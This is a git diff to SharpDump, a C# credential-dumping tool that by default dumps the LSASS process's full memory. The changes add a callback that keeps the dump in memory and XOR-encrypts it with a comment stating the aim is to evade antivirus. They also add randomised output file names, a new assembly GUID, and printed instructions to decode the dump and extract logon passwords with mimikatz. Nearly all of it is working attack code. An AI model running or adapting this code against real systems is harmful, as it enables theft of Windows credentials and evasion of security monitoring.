diff --git a/SharpDump/MiniDump.cs b/SharpDump/MiniDump.cs
new file mode 100644
index 0000000..a388859
--- /dev/null
+++ b/SharpDump/MiniDump.cs
@@ -0,0 +1,177 @@
+using System;
+using System.Runtime.InteropServices;
+
+namespace SharpDump
+{
+ class MiniDump
+ {
+ [StructLayout(LayoutKind.Sequential)]
+ public struct MINIDUMP_IO_CALLBACK
+ {
+ public IntPtr Handle;
+ public ulong Offset;
+ public IntPtr Buffer;
+ public uint BufferBytes;
+ }
+
+ [StructLayout(LayoutKind.Explicit)]
+ public unsafe struct MINIDUMP_CALLBACK_UNION
+ {
+ [FieldOffset(0)]
+ public MINIDUMP_IO_CALLBACK Io;
+
+ [FieldOffset(0)]
+ public fixed byte Padding[1296];
+ }
+
+ [StructLayout(LayoutKind.Explicit)]
+ public unsafe struct MINIDUMP_CALLBACK_INPUT
+ {
+ [FieldOffset(0)]
+ public uint ProcessId;
+
+ [FieldOffset(4)]
+ public IntPtr ProcessHandle;
+
+ [FieldOffset(12)]
+ public MINIDUMP_CALLBACK_TYPE CallbackType;
+
+ [FieldOffset(16)]
+ public MINIDUMP_CALLBACK_UNION Union;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct MINIDUMP_CALLBACK_OUTPUT
+ {
+ public HRESULT Status;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct MINIDUMP_CALLBACK_INFORMATION
+ {
+ public MINIDUMP_CALLBACK_ROUTINE CallbackRoutine;
+ public IntPtr CallbackParam;
+ }
+
+ [Flags]
+ public enum MINIDUMP_TYPE : uint
+ {
+ MiniDumpNormal = 0x00000000,
+ MiniDumpWithDataSegs = 0x00000001,
+ MiniDumpWithFullMemory = 0x00000002,
+ MiniDumpWithHandleData = 0x00000004,
+ MiniDumpFilterMemory = 0x00000008,
+ MiniDumpScanMemory = 0x00000010,
+ MiniDumpWithUnloadedModules = 0x00000020,
+ MiniDumpWithIndirectlyReferencedMemory = 0x00000040,
+ MiniDumpFilterModulePaths = 0x00000080,
+ MiniDumpWithProcessThreadData = 0x00000100,
+ MiniDumpWithPrivateReadWriteMemory = 0x00000200,
+ MiniDumpWithoutOptionalData = 0x00000400,
+ MiniDumpWithFullMemoryInfo = 0x00000800,
+ MiniDumpWithThreadInfo = 0x00001000,
+ MiniDumpWithCodeSegs = 0x00002000,
+ MiniDumpWithoutAuxiliaryState = 0x00004000,
+ MiniDumpWithFullAuxiliaryState = 0x00008000,
+ MiniDumpWithPrivateWriteCopyMemory = 0x00010000,
+ MiniDumpIgnoreInaccessibleMemory = 0x00020000,
+ MiniDumpWithTokenInformation = 0x00040000,
+ MiniDumpValidTypeFlags = 0x0007ffff
+ }
+
+ [Flags]
+ public enum MINIDUMP_CALLBACK_TYPE : uint
+ {
+ ModuleCallback = 0,
+ ThreadCallback = 1,
+ ThreadExCallback = 2,
+ IncludeThreadCallback = 3,
+ IncludeModuleCallback = 4,
+ MemoryCallback = 5,
+ CancelCallback = 6,
+ WriteKernelMinidumpCallback = 7,
+ KernelMinidumpStatusCallback = 8,
+ RemoveMemoryCallback = 9,
+ IncludeVmRegionCallback = 10,
+ IoStartCallback = 11,
+ IoWriteAllCallback = 12,
+ IoFinishCallback = 13,
+ ReadMemoryFailureCallback = 14,
+ SecondaryFlagsCallback = 15
+ }
+
+ [Flags]
+ public enum HRESULT : uint
+ {
+ S_OK = 0,
+ S_FALSE = 1
+ }
+
+ // partially adapted from https://blogs.msdn.microsoft.com/dondu/2010/10/24/writing-minidumps-in-c/
+ [DllImport(
+ "dbghelp.dll",
+ EntryPoint = "MiniDumpWriteDump",
+ CallingConvention = CallingConvention.StdCall,
+ CharSet = CharSet.Unicode,
+ ExactSpelling = true,
+ SetLastError = true)]
+ public static extern bool MiniDumpWriteDump(
+ IntPtr hProcess,
+ uint ProcessId,
+ IntPtr hFile,
+ MINIDUMP_TYPE DumpType,
+ IntPtr ExceptionParam,
+ IntPtr UserStreamParam,
+ MINIDUMP_CALLBACK_INFORMATION CallbackParam);
+
+ [UnmanagedFunctionPointer(CallingConvention.StdCall)]
+ public unsafe delegate bool MINIDUMP_CALLBACK_ROUTINE(
+ IntPtr CallbackParam,
+ MINIDUMP_CALLBACK_INPUT* CallbackInput,
+ MINIDUMP_CALLBACK_OUTPUT* CallbackOutput);
+
+ public unsafe static bool Callback(
+ IntPtr CallbackParam,
+ MINIDUMP_CALLBACK_INPUT* CallbackInput,
+ MINIDUMP_CALLBACK_OUTPUT* CallbackOutput)
+ {
+ switch (CallbackInput->CallbackType)
+ {
+ case MINIDUMP_CALLBACK_TYPE.IoStartCallback:
+ CallbackOutput->Status = HRESULT.S_FALSE;
+ break;
+
+ case MINIDUMP_CALLBACK_TYPE.IoWriteAllCallback:
+ CallbackOutput->Status = HRESULT.S_OK;
+
+ uint len = CallbackInput->Union.Io.BufferBytes;
+ IntPtr destination = Marshal.AllocHGlobal((int)len);
+
+ // copy the current chunk
+ Buffer.MemoryCopy((byte*)CallbackInput->Union.Io.Buffer, (byte*)destination, len, len);
+
+ /*
+ * We can do an extra transformation at this stage, like XOR-encrypt
+ * the MiniDump before compressing it and writing it to disk.
+ * This can be useful if gzip compression alone turns out to be
+ * useless against AV.
+ *
+ * Example:
+ */
+ for (int i = 0; i < len; i++)
+ ((byte*)destination)[i] ^= 42;
+
+ Globals.Chunks.Add((destination, (int)len, (int)CallbackInput->Union.Io.Offset));
+ break;
+
+ case MINIDUMP_CALLBACK_TYPE.IoFinishCallback:
+ CallbackOutput->Status = HRESULT.S_OK;
+ break;
+
+ default:
+ break;
+ }
+ return true;
+ }
+ }
+}
diff --git a/SharpDump/Program.cs b/SharpDump/Program.cs
index fd6968f..b305db1 100755
--- a/SharpDump/Program.cs
+++ b/SharpDump/Program.cs
@@ -1,19 +1,34 @@
using System;
+using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
+using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Principal;
+using System.Text;
namespace SharpDump
{
+ public static class Globals
+ {
+ public static List<(IntPtr ptr, int len, int offset)> Chunks = new List<(IntPtr, int, int)>();
+ }
+
class Program
{
- // partially adapted from https://blogs.msdn.microsoft.com/dondu/2010/10/24/writing-minidumps-in-c/
+ private static readonly char[] chars = "abcdefghijklmnopqrstuvwxyz".ToCharArray();
+ private static readonly Random random = new Random();
- // Overload supporting MiniDumpExceptionInformation == NULL
- [DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]
- static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam);
+ public static string GetRandomString(int length = 7)
+ {
+ var sb = new StringBuilder(length);
+ for (int i = 0; i < length; i++)
+ {
+ sb.Append(chars[random.Next(chars.Length)]);
+ }
+ return sb.ToString();
+ }
public static bool IsHighIntegrity()
{
@@ -23,7 +38,7 @@ public static bool IsHighIntegrity()
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
- public static void Compress(string inFile, string outFile)
+ public static void WriteCompressedDumpToFile(string outFile)
{
try
{
@@ -33,14 +48,29 @@ public static void Compress(string inFile, string outFile)
File.Delete(outFile);
}
- var bytes = File.ReadAllBytes(inFile);
- using (FileStream fs = new FileStream(outFile, FileMode.CreateNew))
+ var lastChunk = Globals.Chunks.OrderByDescending(chunk => chunk.offset).FirstOrDefault();
+ byte[] dump = new byte[lastChunk.offset + lastChunk.len];
+
+ unsafe
{
- using (GZipStream zipStream = new GZipStream(fs, CompressionMode.Compress, false))
+ fixed (byte* pin = &dump[0])
{
- zipStream.Write(bytes, 0, bytes.Length);
+ foreach (var chunk in Globals.Chunks)
+ {
+ byte* destination = pin + chunk.offset;
+ Buffer.MemoryCopy(
+ (byte*)chunk.ptr,
+ destination,
+ dump.Length - chunk.offset,
+ chunk.len);
+ Marshal.FreeHGlobal(chunk.ptr);
+ }
}
}
+
+ using (FileStream fs = new FileStream(outFile, FileMode.CreateNew))
+ using (GZipStream gzipStream = new GZipStream(fs, CompressionMode.Compress, false))
+ gzipStream.Write(dump, 0, dump.Length);
}
catch (Exception ex)
{
@@ -68,14 +98,14 @@ public static void Minidump(int pid = -1)
catch (Exception ex)
{
// often errors if we can't get a handle to LSASS
- Console.WriteLine(String.Format("\n[X]Exception: {0}\n", ex.Message));
+ Console.WriteLine("[X]Exception: {0}", ex.Message);
return;
}
}
if (targetProcess.ProcessName == "lsass" && !IsHighIntegrity())
{
- Console.WriteLine("\n[X] Not in high integrity, unable to MiniDump!\n");
+ Console.WriteLine("[X] Not in high integrity, unable to MiniDump!");
return;
}
@@ -86,57 +116,76 @@ public static void Minidump(int pid = -1)
}
catch (Exception ex)
{
- Console.WriteLine(String.Format("\n[X] Error getting handle to {0} ({1}): {2}\n", targetProcess.ProcessName, targetProcess.Id, ex.Message));
+ Console.WriteLine("[X] Error getting handle to {0} ({1}): {2}", targetProcess.ProcessName, targetProcess.Id, ex.Message);
return;
}
bool bRet = false;
string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");
- string dumpFile = String.Format("{0}\\Temp\\debug{1}.out", systemRoot, targetProcessId);
- string zipFile = String.Format("{0}\\Temp\\debug{1}.bin", systemRoot, targetProcessId);
-
- Console.WriteLine(String.Format("\n[*] Dumping {0} ({1}) to {2}", targetProcess.ProcessName, targetProcess.Id, dumpFile));
+ string gzipFile = String.Format("{0}\\Temp\\{1}.gz", systemRoot, GetRandomString());
- using (FileStream fs = new FileStream(dumpFile, FileMode.Create, FileAccess.ReadWrite, FileShare.Write))
+ Console.WriteLine();
+ Console.WriteLine("[*] Dumping {0} ({1}) to {2}", targetProcess.ProcessName, targetProcess.Id, gzipFile);
+ unsafe
{
- bRet = MiniDumpWriteDump(targetProcessHandle, targetProcessId, fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
+ var mci = new MiniDump.MINIDUMP_CALLBACK_INFORMATION
+ {
+ CallbackRoutine = new MiniDump.MINIDUMP_CALLBACK_ROUTINE(MiniDump.Callback),
+ CallbackParam = IntPtr.Zero
+ };
+
+ bRet = MiniDump.MiniDumpWriteDump(
+ targetProcessHandle,
+ targetProcessId,
+ IntPtr.Zero,
+ MiniDump.MINIDUMP_TYPE.MiniDumpWithFullMemory,
+ IntPtr.Zero,
+ IntPtr.Zero,
+ mci);
}
- // if successful
- if(bRet)
+ // if not successful
+ if (!bRet)
{
- Console.WriteLine("[+] Dump successful!");
- Console.WriteLine(String.Format("\n[*] Compressing {0} to {1} gzip file", dumpFile, zipFile));
+ Console.WriteLine("[X] Dump failed: {0} {1}", bRet, Marshal.GetLastWin32Error());
+ return;
+ }
- Compress(dumpFile, zipFile);
+ Console.WriteLine("[+] Dump successful!");
+ Console.WriteLine("[*] Writing the gzip-compressed dump to {0}", gzipFile);
- Console.WriteLine(String.Format("[*] Deleting {0}", dumpFile));
- File.Delete(dumpFile);
- Console.WriteLine("\n[+] Dumping completed. Rename file to \"debug{0}.gz\" to decompress.", targetProcessId);
+ WriteCompressedDumpToFile(gzipFile);
- string arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
- string OS = "";
- var regKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion");
- if (regKey != null)
- {
- OS = String.Format("{0}", regKey.GetValue("ProductName"));
- }
+ Console.WriteLine();
+ Console.WriteLine("[+] Dumping completed. gzip-decompress the file and XOR its contents with 42.", targetProcessId);
+ Console.WriteLine("[!] You can use the following Python one-liner:");
+ Console.WriteLine();
+ Console.WriteLine(@"open('out.dmp','wb').write(bytearray([i^42 for i in __import__('gzip').decompress(open(r'{0}','rb').read())]))", gzipFile);
- if (pid == -1)
- {
- Console.WriteLine(String.Format("\n[*] Operating System : {0}", OS));
- Console.WriteLine(String.Format("[*] Architecture : {0}", arch));
- Console.WriteLine(String.Format("[*] Use \"sekurlsa::minidump debug.out\" \"sekurlsa::logonPasswords full\" on the same OS/arch\n", arch));
- }
+ string arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
+ string OS = "";
+ var regKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion");
+ if (regKey != null)
+ {
+ OS = String.Format("{0}", regKey.GetValue("ProductName"));
}
- else
+
+ if (pid == -1)
{
- Console.WriteLine(String.Format("[X] Dump failed: {0}", bRet));
+ Console.WriteLine();
+ Console.WriteLine("[*] Operating System : {0}", OS);
+ Console.WriteLine("[*] Architecture : {0}", arch);
+ Console.WriteLine("[*] Use \"sekurlsa::minidump out.dmp\" \"sekurlsa::logonPasswords full\" on the same OS/arch\n", arch);
}
}
static void Main(string[] args)
{
+ if (args.Length > 1)
+ {
+ Console.WriteLine("Usage: SharpDump.exe [pid] (If no pid is provided, 'lsass' will be dumped by default.)");
+ }
+
string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");
string dumpDir = String.Format("{0}\\Temp\\", systemRoot);
if (!Directory.Exists(dumpDir))
@@ -145,28 +194,16 @@ static void Main(string[] args)
return;
}
- if (args.Length ==0)
- {
- // dump LSASS by default
- Minidump();
- }
- else if (args.Length == 1)
+ int pid = -1;
+ if (
+ args.Length == 0
+ || int.TryParse(Convert.ToString(args[0]), System.Globalization.NumberStyles.Any, System.Globalization.NumberFormatInfo.InvariantInfo, out pid))
{
- int retNum;
- if (int.TryParse(Convert.ToString(args[0]), System.Globalization.NumberStyles.Any, System.Globalization.NumberFormatInfo.InvariantInfo, out retNum))
- {
- // arg is a number, so we're specifying a PID
- Minidump(retNum);
- }
- else
- {
- Console.WriteLine("\nPlease use \"SharpDump.exe [pid]\" format\n");
- }
- }
- else if (args.Length == 2)
- {
- Console.WriteLine("\nPlease use \"SharpDump.exe [pid]\" format\n");
+ Minidump(pid);
+ return;
}
+
+ Console.WriteLine("Please make sure the PID is valid.");
}
}
}
diff --git a/SharpDump/Properties/AssemblyInfo.cs b/SharpDump/Properties/AssemblyInfo.cs
index 9d74115..1107e6a 100755
--- a/SharpDump/Properties/AssemblyInfo.cs
+++ b/SharpDump/Properties/AssemblyInfo.cs
@@ -20,7 +20,7 @@
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
-[assembly: Guid("79c9bba3-a0ea-431c-866c-77004802d8a0")]
+[assembly: Guid("6f29aa2c-1ee0-4b96-8987-be0fbc045e74")]
// Version information for an assembly consists of the following four values:
//
diff --git a/SharpDump/SharpDump.csproj b/SharpDump/SharpDump.csproj
index d0bff43..bb4090a 100755
--- a/SharpDump/SharpDump.csproj
+++ b/SharpDump/SharpDump.csproj
@@ -9,8 +9,9 @@
Properties
SharpDump
SharpDump
- v3.5
+ v4.8
512
+
AnyCPU
@@ -21,6 +22,8 @@
DEBUG;TRACE
prompt
4
+ true
+ false
AnyCPU
@@ -31,6 +34,8 @@
prompt
4
+ true
+ false
@@ -41,10 +46,12 @@
+
+
Designer
diff --git a/SharpDump/app.config b/SharpDump/app.config
new file mode 100644
index 0000000..3e0e37c
--- /dev/null
+++ b/SharpDump/app.config
@@ -0,0 +1,3 @@
+
+
+